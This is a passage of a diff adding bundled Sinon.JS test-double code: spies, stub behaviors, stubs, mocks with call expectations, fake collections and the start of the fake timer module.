+            }
+
+            return calls;
+        },
+
+        calledBefore: function calledBefore(spyFn) {
+            if (!this.called) {
+                return false;
+            }
+
+            if (!spyFn.called) {
+                return true;
+            }
+
+            return this.callIds[0] < spyFn.callIds[spyFn.callIds.length - 1];
+        },
+
+        calledAfter: function calledAfter(spyFn) {
+            if (!this.called || !spyFn.called) {
+                return false;
+            }
+
+            return this.callIds[this.callCount - 1] > spyFn.callIds[spyFn.callCount - 1];
+        },
+
+        withArgs: function () {
+            var args = slice.call(arguments);
+
+            if (this.fakes) {
+                var match = matchingFake(this.fakes, args, true);
+
+                if (match) {
+                    return match;
+                }
+            } else {
+                this.fakes = [];
+            }
+
+            var original = this;
+            var fake = this._create();
+            fake.matchingAguments = args;
+            fake.parent = this;
+            push.call(this.fakes, fake);
+
+            fake.withArgs = function () {
+                return original.withArgs.apply(original, arguments);
+            };
+
+            for (var i = 0; i < this.args.length; i++) {
+                if (fake.matches(this.args[i])) {
+                    incrementCallCount.call(fake);
+                    push.call(fake.thisValues, this.thisValues[i]);
+                    push.call(fake.args, this.args[i]);
+                    push.call(fake.returnValues, this.returnValues[i]);
+                    push.call(fake.exceptions, this.exceptions[i]);
+                    push.call(fake.callIds, this.callIds[i]);
+                }
+            }
+            createCallProperties.call(fake);
+
+            return fake;
+        },
+
+        matches: function (args, strict) {
+            var margs = this.matchingAguments;
+
+            if (margs.length <= args.length &&
+                sinon.deepEqual(margs, args.slice(0, margs.length))) {
+                return !strict || margs.length == args.length;
+            }
+        },
+
+        printf: function (format) {
+            var spy = this;
+            var args = slice.call(arguments, 1);
+            var formatter;
+
+            return (format || "").replace(/%(.)/g, function (match, specifyer) {
+                formatter = spyApi.formatters[specifyer];
+
+                if (typeof formatter == "function") {
+                    return formatter.call(null, spy, args);
+                } else if (!isNaN(parseInt(specifyer, 10))) {
+                    return sinon.format(args[specifyer - 1]);
+                }
+
+                return "%" + specifyer;
+            });
+        }
+    };
+
+    function delegateToCalls(method, matchAny, actual, notCalled) {
+        spyApi[method] = function () {
+            if (!this.called) {
+                if (notCalled) {
+                    return notCalled.apply(this, arguments);
+                }
+                return false;
+            }
+
+            var currentCall;
+            var matches = 0;
+
+            for (var i = 0, l = this.callCount; i < l; i += 1) {
+                currentCall = this.getCall(i);
+
+                if (currentCall[actual || method].apply(currentCall, arguments)) {
+                    matches += 1;
+
+                    if (matchAny) {
+                        return true;
+                    }
+                }
+            }
+
+            return matches === this.callCount;
+        };
+    }
+
+    delegateToCalls("calledOn", true);
+    delegateToCalls("alwaysCalledOn", false, "calledOn");
+    delegateToCalls("calledWith", true);
+    delegateToCalls("calledWithMatch", true);
+    delegateToCalls("alwaysCalledWith", false, "calledWith");
+    delegateToCalls("alwaysCalledWithMatch", false, "calledWithMatch");
+    delegateToCalls("calledWithExactly", true);
+    delegateToCalls("alwaysCalledWithExactly", false, "calledWithExactly");
+    delegateToCalls("neverCalledWith", false, "notCalledWith",
+        function () { return true; });
+    delegateToCalls("neverCalledWithMatch", false, "notCalledWithMatch",
+        function () { return true; });
+    delegateToCalls("threw", true);
+    delegateToCalls("alwaysThrew", false, "threw");
+    delegateToCalls("returned", true);
+    delegateToCalls("alwaysReturned", false, "returned");
+    delegateToCalls("calledWithNew", true);
+    delegateToCalls("alwaysCalledWithNew", false, "calledWithNew");
+    delegateToCalls("callArg", false, "callArgWith", function () {
+        throw new Error(this.toString() + " cannot call arg since it was not yet invoked.");
+    });
+    spyApi.callArgWith = spyApi.callArg;
+    delegateToCalls("callArgOn", false, "callArgOnWith", function () {
+        throw new Error(this.toString() + " cannot call arg since it was not yet invoked.");
+    });
+    spyApi.callArgOnWith = spyApi.callArgOn;
+    delegateToCalls("yield", false, "yield", function () {
+        throw new Error(this.toString() + " cannot yield since it was not yet invoked.");
+    });
+    // "invokeCallback" is an alias for "yield" since "yield" is invalid in strict mode.
+    spyApi.invokeCallback = spyApi.yield;
+    delegateToCalls("yieldOn", false, "yieldOn", function () {
+        throw new Error(this.toString() + " cannot yield since it was not yet invoked.");
+    });
+    delegateToCalls("yieldTo", false, "yieldTo", function (property) {
+        throw new Error(this.toString() + " cannot yield to '" + property +
+            "' since it was not yet invoked.");
+    });
+    delegateToCalls("yieldToOn", false, "yieldToOn", function (property) {
+        throw new Error(this.toString() + " cannot yield to '" + property +
+            "' since it was not yet invoked.");
+    });
+
+    spyApi.formatters = {
+        "c": function (spy) {
+            return sinon.timesInWords(spy.callCount);
+        },
+
+        "n": function (spy) {
+            return spy.toString();
+        },
+
+        "C": function (spy) {
+            var calls = [];
+
+            for (var i = 0, l = spy.callCount; i < l; ++i) {
+                var stringifiedCall = "    " + spy.getCall(i).toString();
+                if (/\n/.test(calls[i - 1])) {
+                    stringifiedCall = "\n" + stringifiedCall;
+                }
+                push.call(calls, stringifiedCall);
+            }
+
+            return calls.length > 0 ? "\n" + calls.join("\n") : "";
+        },
+
+        "t": function (spy) {
+            var objects = [];
+
+            for (var i = 0, l = spy.callCount; i < l; ++i) {
+                push.call(objects, sinon.format(spy.thisValues[i]));
+            }
+
+            return objects.join(", ");
+        },
+
+        "*": function (spy, args) {
+            var formatted = [];
+
+            for (var i = 0, l = args.length; i < l; ++i) {
+                push.call(formatted, sinon.format(args[i]));
+            }
+
+            return formatted.join(", ");
+        }
+    };
+
+    sinon.extend(spy, spyApi);
+
+    spy.spyCall = sinon.spyCall;
+
+    if (commonJSModule) {
+        module.exports = spy;
+    } else {
+        sinon.spy = spy;
+    }
+}(typeof sinon == "object" && sinon || null));
+
+/**
+ * @depend ../sinon.js
+ */
+/*jslint eqeqeq: false, onevar: false*/
+/*global module, require, sinon, process, setImmediate, setTimeout*/
+/**
+ * Stub behavior
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @author Tim Fischbach (mail@timfischbach.de)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    var slice = Array.prototype.slice;
+    var join = Array.prototype.join;
+    var proto;
+
+    var nextTick = (function () {
+        if (typeof process === "object" && typeof process.nextTick === "function") {
+            return process.nextTick;
+        } else if (typeof setImmediate === "function") {
+            return setImmediate;
+        } else {
+            return function (callback) {
+                setTimeout(callback, 0);
+            };
+        }
+    })();
+
+    function throwsException(error, message) {
+        if (typeof error == "string") {
+            this.exception = new Error(message || "");
+            this.exception.name = error;
+        } else if (!error) {
+            this.exception = new Error("Error");
+        } else {
+            this.exception = error;
+        }
+
+        return this;
+    }
+
+    function getCallback(behavior, args) {
+        var callArgAt = behavior.callArgAt;
+
+        if (callArgAt < 0) {
+            var callArgProp = behavior.callArgProp;
+
+            for (var i = 0, l = args.length; i < l; ++i) {
+                if (!callArgProp && typeof args[i] == "function") {
+                    return args[i];
+                }
+
+                if (callArgProp && args[i] &&
+                    typeof args[i][callArgProp] == "function") {
+                    return args[i][callArgProp];
+                }
+            }
+
+            return null;
+        }
+
+        return args[callArgAt];
+    }
+
+    function getCallbackError(behavior, func, args) {
+        if (behavior.callArgAt < 0) {
+            var msg;
+
+            if (behavior.callArgProp) {
+                msg = sinon.functionName(behavior.stub) +
+                    " expected to yield to '" + behavior.callArgProp +
+                    "', but no object with such a property was passed.";
+            } else {
+                msg = sinon.functionName(behavior.stub) +
+                    " expected to yield, but no callback was passed.";
+            }
+
+            if (args.length > 0) {
+                msg += " Received [" + join.call(args, ", ") + "]";
+            }
+
+            return msg;
+        }
+
+        return "argument at index " + behavior.callArgAt + " is not a function: " + func;
+    }
+
+    function callCallback(behavior, args) {
+        if (typeof behavior.callArgAt == "number") {
+            var func = getCallback(behavior, args);
+
+            if (typeof func != "function") {
+                throw new TypeError(getCallbackError(behavior, func, args));
+            }
+
+            if (behavior.callbackAsync) {
+                nextTick(function() {
+                    func.apply(behavior.callbackContext, behavior.callbackArguments);
+                });
+            } else {
+                func.apply(behavior.callbackContext, behavior.callbackArguments);
+            }
+        }
+    }
+
+    proto = {
+        create: function(stub) {
+            var behavior = sinon.extend({}, sinon.behavior);
+            delete behavior.create;
+            behavior.stub = stub;
+
+            return behavior;
+        },
+
+        isPresent: function() {
+            return (typeof this.callArgAt == 'number' ||
+                    this.exception ||
+                    typeof this.returnArgAt == 'number' ||
+                    this.returnThis ||
+                    this.returnValueDefined);
+        },
+
+        invoke: function(context, args) {
+            callCallback(this, args);
+
+            if (this.exception) {
+                throw this.exception;
+            } else if (typeof this.returnArgAt == 'number') {
+                return args[this.returnArgAt];
+            } else if (this.returnThis) {
+                return context;
+            }
+
+            return this.returnValue;
+        },
+
+        onCall: function(index) {
+            return this.stub.onCall(index);
+        },
+
+        onFirstCall: function() {
+            return this.stub.onFirstCall();
+        },
+
+        onSecondCall: function() {
+            return this.stub.onSecondCall();
+        },
+
+        onThirdCall: function() {
+            return this.stub.onThirdCall();
+        },
+
+        withArgs: function(/* arguments */) {
+            throw new Error('Defining a stub by invoking "stub.onCall(...).withArgs(...)" is not supported. ' +
+                            'Use "stub.withArgs(...).onCall(...)" to define sequential behavior for calls with certain arguments.');
+        },
+
+        callsArg: function callsArg(pos) {
+            if (typeof pos != "number") {
+                throw new TypeError("argument index is not number");
+            }
+
+            this.callArgAt = pos;
+            this.callbackArguments = [];
+            this.callbackContext = undefined;
+            this.callArgProp = undefined;
+            this.callbackAsync = false;
+
+            return this;
+        },
+
+        callsArgOn: function callsArgOn(pos, context) {
+            if (typeof pos != "number") {
+                throw new TypeError("argument index is not number");
+            }
+            if (typeof context != "object") {
+                throw new TypeError("argument context is not an object");
+            }
+
+            this.callArgAt = pos;
+            this.callbackArguments = [];
+            this.callbackContext = context;
+            this.callArgProp = undefined;
+            this.callbackAsync = false;
+
+            return this;
+        },
+
+        callsArgWith: function callsArgWith(pos) {
+            if (typeof pos != "number") {
+                throw new TypeError("argument index is not number");
+            }
+
+            this.callArgAt = pos;
+            this.callbackArguments = slice.call(arguments, 1);
+            this.callbackContext = undefined;
+            this.callArgProp = undefined;
+            this.callbackAsync = false;
+
+            return this;
+        },
+
+        callsArgOnWith: function callsArgWith(pos, context) {
+            if (typeof pos != "number") {
+                throw new TypeError("argument index is not number");
+            }
+            if (typeof context != "object") {
+                throw new TypeError("argument context is not an object");
+            }
+
+            this.callArgAt = pos;
+            this.callbackArguments = slice.call(arguments, 2);
+            this.callbackContext = context;
+            this.callArgProp = undefined;
+            this.callbackAsync = false;
+
+            return this;
+        },
+
+        yields: function () {
+            this.callArgAt = -1;
+            this.callbackArguments = slice.call(arguments, 0);
+            this.callbackContext = undefined;
+            this.callArgProp = undefined;
+            this.callbackAsync = false;
+
+            return this;
+        },
+
+        yieldsOn: function (context) {
+            if (typeof context != "object") {
+                throw new TypeError("argument context is not an object");
+            }
+
+            this.callArgAt = -1;
+            this.callbackArguments = slice.call(arguments, 1);
+            this.callbackContext = context;
+            this.callArgProp = undefined;
+            this.callbackAsync = false;
+
+            return this;
+        },
+
+        yieldsTo: function (prop) {
+            this.callArgAt = -1;
+            this.callbackArguments = slice.call(arguments, 1);
+            this.callbackContext = undefined;
+            this.callArgProp = prop;
+            this.callbackAsync = false;
+
+            return this;
+        },
+
+        yieldsToOn: function (prop, context) {
+            if (typeof context != "object") {
+                throw new TypeError("argument context is not an object");
+            }
+
+            this.callArgAt = -1;
+            this.callbackArguments = slice.call(arguments, 2);
+            this.callbackContext = context;
+            this.callArgProp = prop;
+            this.callbackAsync = false;
+
+            return this;
+        },
+
+
+        "throws": throwsException,
+        throwsException: throwsException,
+
+        returns: function returns(value) {
+            this.returnValue = value;
+            this.returnValueDefined = true;
+
+            return this;
+        },
+
+        returnsArg: function returnsArg(pos) {
+            if (typeof pos != "number") {
+                throw new TypeError("argument index is not number");
+            }
+
+            this.returnArgAt = pos;
+
+            return this;
+        },
+
+        returnsThis: function returnsThis() {
+            this.returnThis = true;
+
+            return this;
+        }
+    };
+
+    // create asynchronous versions of callsArg* and yields* methods
+    for (var method in proto) {
+        // need to avoid creating anotherasync versions of the newly added async methods
+        if (proto.hasOwnProperty(method) &&
+            method.match(/^(callsArg|yields)/) &&
+            !method.match(/Async/)) {
+            proto[method + 'Async'] = (function (syncFnName) {
+                return function () {
+                    var result = this[syncFnName].apply(this, arguments);
+                    this.callbackAsync = true;
+                    return result;
+                };
+            })(method);
+        }
+    }
+
+    if (commonJSModule) {
+        module.exports = proto;
+    } else {
+        sinon.behavior = proto;
+    }
+}(typeof sinon == "object" && sinon || null));
+/**
+ * @depend ../sinon.js
+ * @depend spy.js
+ * @depend behavior.js
+ */
+/*jslint eqeqeq: false, onevar: false*/
+/*global module, require, sinon*/
+/**
+ * Stub functions
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    function stub(object, property, func) {
+        if (!!func && typeof func != "function") {
+            throw new TypeError("Custom stub should be function");
+        }
+
+        var wrapper;
+
+        if (func) {
+            wrapper = sinon.spy && sinon.spy.create ? sinon.spy.create(func) : func;
+        } else {
+            wrapper = stub.create();
+        }
+
+        if (!object && typeof property === "undefined") {
+            return sinon.stub.create();
+        }
+
+        if (typeof property === "undefined" && typeof object == "object") {
+            for (var prop in object) {
+                if (typeof object[prop] === "function") {
+                    stub(object, prop);
+                }
+            }
+
+            return object;
+        }
+
+        return sinon.wrapMethod(object, property, wrapper);
+    }
+
+    function getDefaultBehavior(stub) {
+        return stub.defaultBehavior || getParentBehaviour(stub) || sinon.behavior.create(stub);
+    }
+
+    function getParentBehaviour(stub) {
+        return (stub.parent && getCurrentBehavior(stub.parent));
+    }
+
+    function getCurrentBehavior(stub) {
+        var behavior = stub.behaviors[stub.callCount - 1];
+        return behavior && behavior.isPresent() ? behavior : getDefaultBehavior(stub);
+    }
+
+    var uuid = 0;
+
+    sinon.extend(stub, (function () {
+        var proto = {
+            create: function create() {
+                var functionStub = function () {
+                    return getCurrentBehavior(functionStub).invoke(this, arguments);
+                };
+
+                functionStub.id = "stub#" + uuid++;
+                var orig = functionStub;
+                functionStub = sinon.spy.create(functionStub);
+                functionStub.func = orig;
+
+                sinon.extend(functionStub, stub);
+                functionStub._create = sinon.stub.create;
+                functionStub.displayName = "stub";
+                functionStub.toString = sinon.functionToString;
+
+                functionStub.defaultBehavior = null;
+                functionStub.behaviors = [];
+
+                return functionStub;
+            },
+
+            resetBehavior: function () {
+                var i;
+
+                this.defaultBehavior = null;
+                this.behaviors = [];
+
+                delete this.returnValue;
+                delete this.returnArgAt;
+                this.returnThis = false;
+
+                if (this.fakes) {
+                    for (i = 0; i < this.fakes.length; i++) {
+                        this.fakes[i].resetBehavior();
+                    }
+                }
+            },
+
+            onCall: function(index) {
+                if (!this.behaviors[index]) {
+                    this.behaviors[index] = sinon.behavior.create(this);
+                }
+
+                return this.behaviors[index];
+            },
+
+            onFirstCall: function() {
+                return this.onCall(0);
+            },
+
+            onSecondCall: function() {
+                return this.onCall(1);
+            },
+
+            onThirdCall: function() {
+                return this.onCall(2);
+            }
+        };
+
+        for (var method in sinon.behavior) {
+            if (sinon.behavior.hasOwnProperty(method) &&
+                !proto.hasOwnProperty(method) &&
+                method != 'create' &&
+                method != 'withArgs' &&
+                method != 'invoke') {
+                proto[method] = (function(behaviorMethod) {
+                    return function() {
+                        this.defaultBehavior = this.defaultBehavior || sinon.behavior.create(this);
+                        this.defaultBehavior[behaviorMethod].apply(this.defaultBehavior, arguments);
+                        return this;
+                    };
+                }(method));
+            }
+        }
+
+        return proto;
+    }()));
+
+    if (commonJSModule) {
+        module.exports = stub;
+    } else {
+        sinon.stub = stub;
+    }
+}(typeof sinon == "object" && sinon || null));
+
+/**
+ * @depend ../sinon.js
+ * @depend stub.js
+ */
+/*jslint eqeqeq: false, onevar: false, nomen: false*/
+/*global module, require, sinon*/
+/**
+ * Mock functions.
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+    var push = [].push;
+    var match;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    match = sinon.match;
+
+    if (!match && commonJSModule) {
+        match = require("./match");
+    }
+
+    function mock(object) {
+        if (!object) {
+            return sinon.expectation.create("Anonymous mock");
+        }
+
+        return mock.create(object);
+    }
+
+    sinon.mock = mock;
+
+    sinon.extend(mock, (function () {
+        function each(collection, callback) {
+            if (!collection) {
+                return;
+            }
+
+            for (var i = 0, l = collection.length; i < l; i += 1) {
+                callback(collection[i]);
+            }
+        }
+
+        return {
+            create: function create(object) {
+                if (!object) {
+                    throw new TypeError("object is null");
+                }
+
+                var mockObject = sinon.extend({}, mock);
+                mockObject.object = object;
+                delete mockObject.create;
+
+                return mockObject;
+            },
+
+            expects: function expects(method) {
+                if (!method) {
+                    throw new TypeError("method is falsy");
+                }
+
+                if (!this.expectations) {
+                    this.expectations = {};
+                    this.proxies = [];
+                }
+
+                if (!this.expectations[method]) {
+                    this.expectations[method] = [];
+                    var mockObject = this;
+
+                    sinon.wrapMethod(this.object, method, function () {
+                        return mockObject.invokeMethod(method, this, arguments);
+                    });
+
+                    push.call(this.proxies, method);
+                }
+
+                var expectation = sinon.expectation.create(method);
+                push.call(this.expectations[method], expectation);
+
+                return expectation;
+            },
+
+            restore: function restore() {
+                var object = this.object;
+
+                each(this.proxies, function (proxy) {
+                    if (typeof object[proxy].restore == "function") {
+                        object[proxy].restore();
+                    }
+                });
+            },
+
+            verify: function verify() {
+                var expectations = this.expectations || {};
+                var messages = [], met = [];
+
+                each(this.proxies, function (proxy) {
+                    each(expectations[proxy], function (expectation) {
+                        if (!expectation.met()) {
+                            push.call(messages, expectation.toString());
+                        } else {
+                            push.call(met, expectation.toString());
+                        }
+                    });
+                });
+
+                this.restore();
+
+                if (messages.length > 0) {
+                    sinon.expectation.fail(messages.concat(met).join("\n"));
+                } else {
+                    sinon.expectation.pass(messages.concat(met).join("\n"));
+                }
+
+                return true;
+            },
+
+            invokeMethod: function invokeMethod(method, thisValue, args) {
+                var expectations = this.expectations && this.expectations[method];
+                var length = expectations && expectations.length || 0, i;
+
+                for (i = 0; i < length; i += 1) {
+                    if (!expectations[i].met() &&
+                        expectations[i].allowsCall(thisValue, args)) {
+                        return expectations[i].apply(thisValue, args);
+                    }
+                }
+
+                var messages = [], available, exhausted = 0;
+
+                for (i = 0; i < length; i += 1) {
+                    if (expectations[i].allowsCall(thisValue, args)) {
+                        available = available || expectations[i];
+                    } else {
+                        exhausted += 1;
+                    }
+                    push.call(messages, "    " + expectations[i].toString());
+                }
+
+                if (exhausted === 0) {
+                    return available.apply(thisValue, args);
+                }
+
+                messages.unshift("Unexpected call: " + sinon.spyCall.toString.call({
+                    proxy: method,
+                    args: args
+                }));
+
+                sinon.expectation.fail(messages.join("\n"));
+            }
+        };
+    }()));
+
+    var times = sinon.timesInWords;
+
+    sinon.expectation = (function () {
+        var slice = Array.prototype.slice;
+        var _invoke = sinon.spy.invoke;
+
+        function callCountInWords(callCount) {
+            if (callCount == 0) {
+                return "never called";
+            } else {
+                return "called " + times(callCount);
+            }
+        }
+
+        function expectedCallCountInWords(expectation) {
+            var min = expectation.minCalls;
+            var max = expectation.maxCalls;
+
+            if (typeof min == "number" && typeof max == "number") {
+                var str = times(min);
+
+                if (min != max) {
+                    str = "at least " + str + " and at most " + times(max);
+                }
+
+                return str;
+            }
+
+            if (typeof min == "number") {
+                return "at least " + times(min);
+            }
+
+            return "at most " + times(max);
+        }
+
+        function receivedMinCalls(expectation) {
+            var hasMinLimit = typeof expectation.minCalls == "number";
+            return !hasMinLimit || expectation.callCount >= expectation.minCalls;
+        }
+
+        function receivedMaxCalls(expectation) {
+            if (typeof expectation.maxCalls != "number") {
+                return false;
+            }
+
+            return expectation.callCount == expectation.maxCalls;
+        }
+
+        function verifyMatcher(possibleMatcher, arg){
+            if (match && match.isMatcher(possibleMatcher)) {
+                return possibleMatcher.test(arg);
+            } else {
+                return true;
+            }
+        }
+
+        return {
+            minCalls: 1,
+            maxCalls: 1,
+
+            create: function create(methodName) {
+                var expectation = sinon.extend(sinon.stub.create(), sinon.expectation);
+                delete expectation.create;
+                expectation.method = methodName;
+
+                return expectation;
+            },
+
+            invoke: function invoke(func, thisValue, args) {
+                this.verifyCallAllowed(thisValue, args);
+
+                return _invoke.apply(this, arguments);
+            },
+
+            atLeast: function atLeast(num) {
+                if (typeof num != "number") {
+                    throw new TypeError("'" + num + "' is not number");
+                }
+
+                if (!this.limitsSet) {
+                    this.maxCalls = null;
+                    this.limitsSet = true;
+                }
+
+                this.minCalls = num;
+
+                return this;
+            },
+
+            atMost: function atMost(num) {
+                if (typeof num != "number") {
+                    throw new TypeError("'" + num + "' is not number");
+                }
+
+                if (!this.limitsSet) {
+                    this.minCalls = null;
+                    this.limitsSet = true;
+                }
+
+                this.maxCalls = num;
+
+                return this;
+            },
+
+            never: function never() {
+                return this.exactly(0);
+            },
+
+            once: function once() {
+                return this.exactly(1);
+            },
+
+            twice: function twice() {
+                return this.exactly(2);
+            },
+
+            thrice: function thrice() {
+                return this.exactly(3);
+            },
+
+            exactly: function exactly(num) {
+                if (typeof num != "number") {
+                    throw new TypeError("'" + num + "' is not a number");
+                }
+
+                this.atLeast(num);
+                return this.atMost(num);
+            },
+
+            met: function met() {
+                return !this.failed && receivedMinCalls(this);
+            },
+
+            verifyCallAllowed: function verifyCallAllowed(thisValue, args) {
+                if (receivedMaxCalls(this)) {
+                    this.failed = true;
+                    sinon.expectation.fail(this.method + " already called " + times(this.maxCalls));
+                }
+
+                if ("expectedThis" in this && this.expectedThis !== thisValue) {
+                    sinon.expectation.fail(this.method + " called with " + thisValue + " as thisValue, expected " +
+                        this.expectedThis);
+                }
+
+                if (!("expectedArguments" in this)) {
+                    return;
+                }
+
+                if (!args) {
+                    sinon.expectation.fail(this.method + " received no arguments, expected " +
+                        sinon.format(this.expectedArguments));
+                }
+
+                if (args.length < this.expectedArguments.length) {
+                    sinon.expectation.fail(this.method + " received too few arguments (" + sinon.format(args) +
+                        "), expected " + sinon.format(this.expectedArguments));
+                }
+
+                if (this.expectsExactArgCount &&
+                    args.length != this.expectedArguments.length) {
+                    sinon.expectation.fail(this.method + " received too many arguments (" + sinon.format(args) +
+                        "), expected " + sinon.format(this.expectedArguments));
+                }
+
+                for (var i = 0, l = this.expectedArguments.length; i < l; i += 1) {
+
+                    if (!verifyMatcher(this.expectedArguments[i],args[i])) {
+                        sinon.expectation.fail(this.method + " received wrong arguments " + sinon.format(args) +
+                            ", didn't match " + this.expectedArguments.toString());
+                    }
+
+                    if (!sinon.deepEqual(this.expectedArguments[i], args[i])) {
+                        sinon.expectation.fail(this.method + " received wrong arguments " + sinon.format(args) +
+                            ", expected " + sinon.format(this.expectedArguments));
+                    }
+                }
+            },
+
+            allowsCall: function allowsCall(thisValue, args) {
+                if (this.met() && receivedMaxCalls(this)) {
+                    return false;
+                }
+
+                if ("expectedThis" in this && this.expectedThis !== thisValue) {
+                    return false;
+                }
+
+                if (!("expectedArguments" in this)) {
+                    return true;
+                }
+
+                args = args || [];
+
+                if (args.length < this.expectedArguments.length) {
+                    return false;
+                }
+
+                if (this.expectsExactArgCount &&
+                    args.length != this.expectedArguments.length) {
+                    return false;
+                }
+
+                for (var i = 0, l = this.expectedArguments.length; i < l; i += 1) {
+                    if (!verifyMatcher(this.expectedArguments[i],args[i])) {
+                        return false;
+                    }
+
+                    if (!sinon.deepEqual(this.expectedArguments[i], args[i])) {
+                        return false;
+                    }
+                }
+
+                return true;
+            },
+
+            withArgs: function withArgs() {
+                this.expectedArguments = slice.call(arguments);
+                return this;
+            },
+
+            withExactArgs: function withExactArgs() {
+                this.withArgs.apply(this, arguments);
+                this.expectsExactArgCount = true;
+                return this;
+            },
+
+            on: function on(thisValue) {
+                this.expectedThis = thisValue;
+                return this;
+            },
+
+            toString: function () {
+                var args = (this.expectedArguments || []).slice();
+
+                if (!this.expectsExactArgCount) {
+                    push.call(args, "[...]");
+                }
+
+                var callStr = sinon.spyCall.toString.call({
+                    proxy: this.method || "anonymous mock expectation",
+                    args: args
+                });
+
+                var message = callStr.replace(", [...", "[, ...") + " " +
+                    expectedCallCountInWords(this);
+
+                if (this.met()) {
+                    return "Expectation met: " + message;
+                }
+
+                return "Expected " + message + " (" +
+                    callCountInWords(this.callCount) + ")";
+            },
+
+            verify: function verify() {
+                if (!this.met()) {
+                    sinon.expectation.fail(this.toString());
+                } else {
+                    sinon.expectation.pass(this.toString());
+                }
+
+                return true;
+            },
+
+            pass: function(message) {
+              sinon.assert.pass(message);
+            },
+            fail: function (message) {
+                var exception = new Error(message);
+                exception.name = "ExpectationError";
+
+                throw exception;
+            }
+        };
+    }());
+
+    if (commonJSModule) {
+        module.exports = mock;
+    } else {
+        sinon.mock = mock;
+    }
+}(typeof sinon == "object" && sinon || null));
+
+/**
+ * @depend ../sinon.js
+ * @depend stub.js
+ * @depend mock.js
+ */
+/*jslint eqeqeq: false, onevar: false, forin: true*/
+/*global module, require, sinon*/
+/**
+ * Collections of stubs, spies and mocks.
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+    var push = [].push;
+    var hasOwnProperty = Object.prototype.hasOwnProperty;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    function getFakes(fakeCollection) {
+        if (!fakeCollection.fakes) {
+            fakeCollection.fakes = [];
+        }
+
+        return fakeCollection.fakes;
+    }
+
+    function each(fakeCollection, method) {
+        var fakes = getFakes(fakeCollection);
+
+        for (var i = 0, l = fakes.length; i < l; i += 1) {
+            if (typeof fakes[i][method] == "function") {
+                fakes[i][method]();
+            }
+        }
+    }
+
+    function compact(fakeCollection) {
+        var fakes = getFakes(fakeCollection);
+        var i = 0;
+        while (i < fakes.length) {
+          fakes.splice(i, 1);
+        }
+    }
+
+    var collection = {
+        verify: function resolve() {
+            each(this, "verify");
+        },
+
+        restore: function restore() {
+            each(this, "restore");
+            compact(this);
+        },
+
+        verifyAndRestore: function verifyAndRestore() {
+            var exception;
+
+            try {
+                this.verify();
+            } catch (e) {
+                exception = e;
+            }
+
+            this.restore();
+
+            if (exception) {
+                throw exception;
+            }
+        },
+
+        add: function add(fake) {
+            push.call(getFakes(this), fake);
+            return fake;
+        },
+
+        spy: function spy() {
+            return this.add(sinon.spy.apply(sinon, arguments));
+        },
+
+        stub: function stub(object, property, value) {
+            if (property) {
+                var original = object[property];
+
+                if (typeof original != "function") {
+                    if (!hasOwnProperty.call(object, property)) {
+                        throw new TypeError("Cannot stub non-existent own property " + property);
+                    }
+
+                    object[property] = value;
+
+                    return this.add({
+                        restore: function () {
+                            object[property] = original;
+                        }
+                    });
+                }
+            }
+            if (!property && !!object && typeof object == "object") {
+                var stubbedObj = sinon.stub.apply(sinon, arguments);
+
+                for (var prop in stubbedObj) {
+                    if (typeof stubbedObj[prop] === "function") {
+                        this.add(stubbedObj[prop]);
+                    }
+                }
+
+                return stubbedObj;
+            }
+
+            return this.add(sinon.stub.apply(sinon, arguments));
+        },
+
+        mock: function mock() {
+            return this.add(sinon.mock.apply(sinon, arguments));
+        },
+
+        inject: function inject(obj) {
+            var col = this;
+
+            obj.spy = function () {
+                return col.spy.apply(col, arguments);
+            };
+
+            obj.stub = function () {
+                return col.stub.apply(col, arguments);
+            };
+
+            obj.mock = function () {
+                return col.mock.apply(col, arguments);
+            };
+
+            return obj;
+        }
+    };
+
+    if (commonJSModule) {
+        module.exports = collection;
+    } else {
+        sinon.collection = collection;
+    }
+}(typeof sinon == "object" && sinon || null));
+
+/*jslint eqeqeq: false, plusplus: false, evil: true, onevar: false, browser: true, forin: false*/
+/*global module, require, window*/
+/**
+ * Fake timer API
+ * setTimeout
+ * setInterval
+ * clearTimeout
+ * clearInterval
+ * tick
+ * reset
+ * Date
+ *
+ * Inspired by jsUnitMockTimeOut from JsUnit
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+if (typeof sinon == "undefined") {
+    var sinon = {};
+}
+
+(function (global) {
+    var id = 1;
+
+    function addTimer(args, recurring) {
+        if (args.length === 0) {
+            throw new Error("Function requires at least 1 parameter");
+        }
+
+        if (typeof args[0] === "undefined") {
+            throw new Error("Callback must be provided to timer calls");
+        }
+
+        var toId = id++;
+        var delay = args[1] || 0;
+
+        if (!this.timeouts) {
+            this.timeouts = {};
+        }
+
+        this.timeouts[toId] = {
+            id: toId,
+            func: args[0],
+            callAt: this.now + delay,
+            invokeArgs: Array.prototype.slice.call(args, 2)
+        };
+
+        if (recurring === true) {
+            this.timeouts[toId].interval = delay;
+        }
+
+        return toId;
+    }
+
+    function parseTime(str) {
+        if (!str) {
+            return 0;
+        }
+
+        var strings = str.split(":");
+        var l = strings.length, i = l;
+        var ms = 0, parsed;
+
+        if (l > 3 || !/^(\d\d:){0,2}\d\d?$/.test(str)) {
+            throw new Error("tick only understands numbers and 'h:m:s'");
+        }
+
+        while (i--) {
+            parsed = parseInt(strings[i], 10);
+
